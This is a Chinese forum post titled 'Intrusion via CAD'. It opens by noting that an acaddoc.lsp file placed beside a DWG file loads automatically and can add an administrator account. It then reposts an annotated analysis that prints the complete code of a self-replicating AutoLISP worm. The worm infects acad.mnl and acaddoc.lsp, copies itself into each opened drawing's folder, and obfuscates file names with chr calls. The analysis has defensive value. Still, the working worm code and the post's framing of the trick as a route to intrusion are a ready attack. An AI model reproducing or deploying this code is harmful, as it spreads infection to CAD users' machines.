通过CAD入侵

2014-12-13 10:15:07 20 4670


CAD 文件DWG文件 后面有acad.lsp 或者acaddoc.lsp 会自动加载  lsp能添加管理员账户
一下是感染部分(转的)
最近自己的电脑中了CAD病毒,症状为打开一个dwg文件后,在该dwg文件所在目录下就会自动生成一个“acaddoc.lsp”文件,即使手工将其删除,下次打开dwg文件时又会自动生成。如果把dwg文件和acaddoc.lsp文件一起复制到另外一部未感染CAD病毒的电脑上,只要一打开该dwg文件,则该电脑就会被感染。因为这个CAD病毒是个lisp程序,花了些时间对病毒代码进行分析如下:
-----------------下面是病毒代码-----------------------------
(setq  wold_cmd  (getvar  "cmdecho"))
(setvar  "cmdecho"  0)
(setq  wpath   (findfile   "base.dcl"))
(setq  wpath  (substr  wpath  1  (- (strlen wpath) 8)))     ;wpath变量保存ACAD下support目录路径
(setq  wwmnlwpath   (getvar  "menuname"))                   ;获得当前菜单名,这句没有用处,下面并未使用wwmnlwpath变量
(setq  wnowdwg   (getvar  "dwgname"))                       ;获得当前打开图形文件名
(setq  wwjqm   (findfile  wnowdwg))                         ;wwjqm变量保存当前打开图形文件的完整路径
(setq  wdwgwpath (substr  wwjqm 1
       ( -  (strlen  wwjqm) (strlen wnowdwg))))    ;wdwgwpath变量保存当前打开图形文件所在路径
;;;alert  
( setq  f   ( open  "c:\\boot.dat"  "w"))                   ;f变量为boot.dat文件句柄,c盘根目录下boot.dat文件若存在则
(write-line  "[dang]"  f)                                   ;打开,不存在则创建,然后将当前打开图形文件所在路径和support
(write-line  (strcat   "ff="    wdwgwpath)  f)              ;目录路径写入boot.dat文件
(write-line  (strcat   "yy="    wpath)  f)
(close  f)
(setq  boot   (findfile   "boot.dat"))                      ;获得boot.dat文件所在目录完整路径
(if (/= boot "") (command "_-vbarun" "ThisDrawing.hh"))     ;这句是要运行一个名为“ThisDrawing.hh”的宏,但该宏并不存在
(setq  wacadwpath   (findfile   "acaddoc.lsp"))             ;wacadwpath变量保存当前加载的acaddoc.lsp文件所在目录
(setq  wacadwpath   (substr  wacadwpath  1
         (-  (strlen wacadwpath)  11)))
(setq  wns1   ""  wns2   "")
(setq  wlspbj  0)                                           ;wlspbj变量是判断support目录下acaddoc.lsp文件是否已感染的
;;;                                                         ;标志,已感染为1,未感染为0
(setq  wwjqm   (strcat  wpath   "acaddoc.lsp"))             ;wwjqm变量指向support目录下的acaddoc.lsp文件
(if  (setq  wwjm  (open  wwjqm  "r"))                       ;wwjm变量为打开support目录下的acaddoc.lsp文件的句柄,若打开
   (progn                                                   ;成功则进行处理
     (while
   (setq wwz   (read-line     wwjm))                  ;逐行读取acaddoc.lsp文件内容,读取结束后,wns1中是倒数第2行
   (setq  wns1  wns2 )                                  ;内容,wns2中是最后一行的内容
   (setq  wns2  wwz)
     )
     (if  (>  (strlen  wns1) 14)                           ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,
   (if  (=  (substr  wns1  8  7)  "acadapq")            ;若是则已感染
    (setq  wlspbj  1)
   )
     )
     (close   wwjm)
   )
)
(setq  wlspmnl   0)                                         ;wlspmnl变量是判断support目录下acad.mnl文件是否已感染的标志,
;;;                                                         ;已感染为1,未感染为0
(setq  wwjqm   (strcat  wpath  "acad.mnl"))                 ;wwjqm变量指向support目录下的acad.mnl文件
(if  (setq   wwjm  (open   wwjqm   "r" ))                   ;wwjm变量为打开support目录下的acad.mnl文件的句柄,若打开
   (progn                                                   ;成功则进行处理
  (while  (setq  wwz  (read-line  wwjm))                  ;逐行读取acad.mnl文件内容,读取结束后,wns1中是倒数第2行内容
   (setq  wns1  wns2 )                                  ;wns2中是最后一行的内容
   (setq wns2  wwz)
     )
     (if  (>  (strlen  wns1) 14)                           ;判断wns1中从第8个字符开始的7个字符是否为“acadapq”,若是则
   (if  (=  (substr  wns1  8  7)  "acadapq")            ;已感染
    (setq   wlspmnl   1)
   )
     )
     (close  wwjm) ;关闭acad.mnl文件
   )
)
(if  (=  wlspmnl 0)                                        ;若acad.mnl文件未感染,则写入加载病毒的代码到acad.mnl文件的
   (progn                                                  ;最后2行中
     (setq wwjqm (strcat wpath
                (strcat (chr 97) (chr 99) (chr 97)
            (chr 100) (chr 46) (chr 109)
            (chr 110)  (chr 108)) ))       ;障眼法,等于(strcat  wpath  "acad.mnl")
     (setq   wwjm  (open  wwjqm   "a"))
     (write-line   (strcat  "(load "  (chr  34)
         "acadapq"  (chr  34)  ")" )  wwjm)
     (write-line  "(princ)"   wwjm)
     (close  wwjm)
   )
)
(defun  wwriteapp ()
  (if  (setq  wwjm1  (open  wnewacad  "w"))
     (progn
       (setq  wwjm  (open  woldacad  "r"))
       (while (setq  wwz  (read-line  wwjm))
    (write-line  wwz  wwjm1)
       )
       (close wwjm)
       (close wwjm1)
     )
  )
)
(if  (and   (=  wacadwpath wdwgwpath)
     (/=  wacadwpath wpath))                        ;若加载的acaddoc.lsp文件和图形文件同目录
   (progn
     (if  (= 0  wlspmnl)                                   ;acad.mnl文件未感染
   (progn
    (setq woldacad (findfile "acaddoc.lsp"))         ;在下面调用wwriteapp子程序读取图形文件目录下的acaddoc.lsp文件
    (setq wnewacad (strcat wpath "acadapq.lsp"))     ;的内容,在support目录下创建acadapq.lsp文件并将acaddoc.lsp
   )                        ;文件的内容写入acadapq.lsp文件中
   ;;else (acad.mnl文件已感染)
   (progn
    (setq woldacad (strcat wpath "acadapq.lsp" ))    ;在下面调用wwriteapp子程序读取support目录下的acadapq.lsp文件
    (setq wnewacad (findfile "acaddoc.lsp"))         ;的内容,写入图形目录下的acaddoc.lsp文件中
   )
     )
     (if  (=  wlspbj  0)                                ;support目录下的acaddoc.lsp文件未感染
   (progn                                             ;下面代码将加载病毒程序的代码写入acaddoc.lsp文件的最后2行中
    (setq  wwjqm  (strcat   wpath  "acaddoc.lsp" ))
    (setq  wwjm   (open  wwjqm   "a"))
    (write-line  (strcat  "(load "  (chr 34)
          "acadapq"  (chr 34)  ")" ) wwjm)
    (write-line   "(princ)"   wwjm)
    (close  wwjm)
   )
     )
     (wwriteapp)
   )
  ;;else (若加载的是support目录下的acaddoc.lsp文件)
   (progn
     (if  (/= wnowdwg  "Drawing.dwg" )                    ;当前打开文件不是新建图形文件
   (progn
    (setq woldacad (findfile "acadapq.lsp"))          ;在图形文件目录下创建acaddoc.lsp文件,将acadapq.lsp
    (setq wnewacad (strcat wdwgwpath "acaddoc.lsp"))  ;文件的内容写入acaddoc.lsp文件中
    (wwriteapp)
   )
     )
   )
)
(setvar  "cmdecho"  wold_cmd)
(princ)                                                    ;下面的代码又是个障眼法,没什么作用
(setq strtopstr (strcat (chr  92) (chr  92) (chr 70)
       (chr  83) (chr  49) (chr  92)
       (chr  83) (chr  89) (chr  83)
       (chr  49) (chr 92) (chr  87)
       (chr  79) (chr  82) (chr  75)
       (chr  92) (chr  80) (chr  76)))
-----------------病毒代码到此结束----------------------------
从以上对病毒代码的分析可知,该病毒的病毒文件有2个,一个为acadapq.lsp,位于ACAD安装目录下的support目录下,另一个为acaddoc.lsp,位于当前打开的dwg文件所在目录下,2个病毒文件的内容相同。病毒的工作原理是利用了AutoCAD会自动加载acaddoc.lsp文件的特性,在ACAD启动时自动加载的是support目录下的acaddoc.lsp文件;而当打开一个dwg时,如果该dwg文件所在目录下有acaddoc.lsp文件,则会优先自动加载该acaddoc.lsp文件,从而实现病毒的感染过程。

             已询问AUTOCAD官方,这是CAD的一种机制,关闭不了。

晚上在补充

关于作者

kelcys篇文章篇回复

评论20次

要评论?请先  登录  或  注册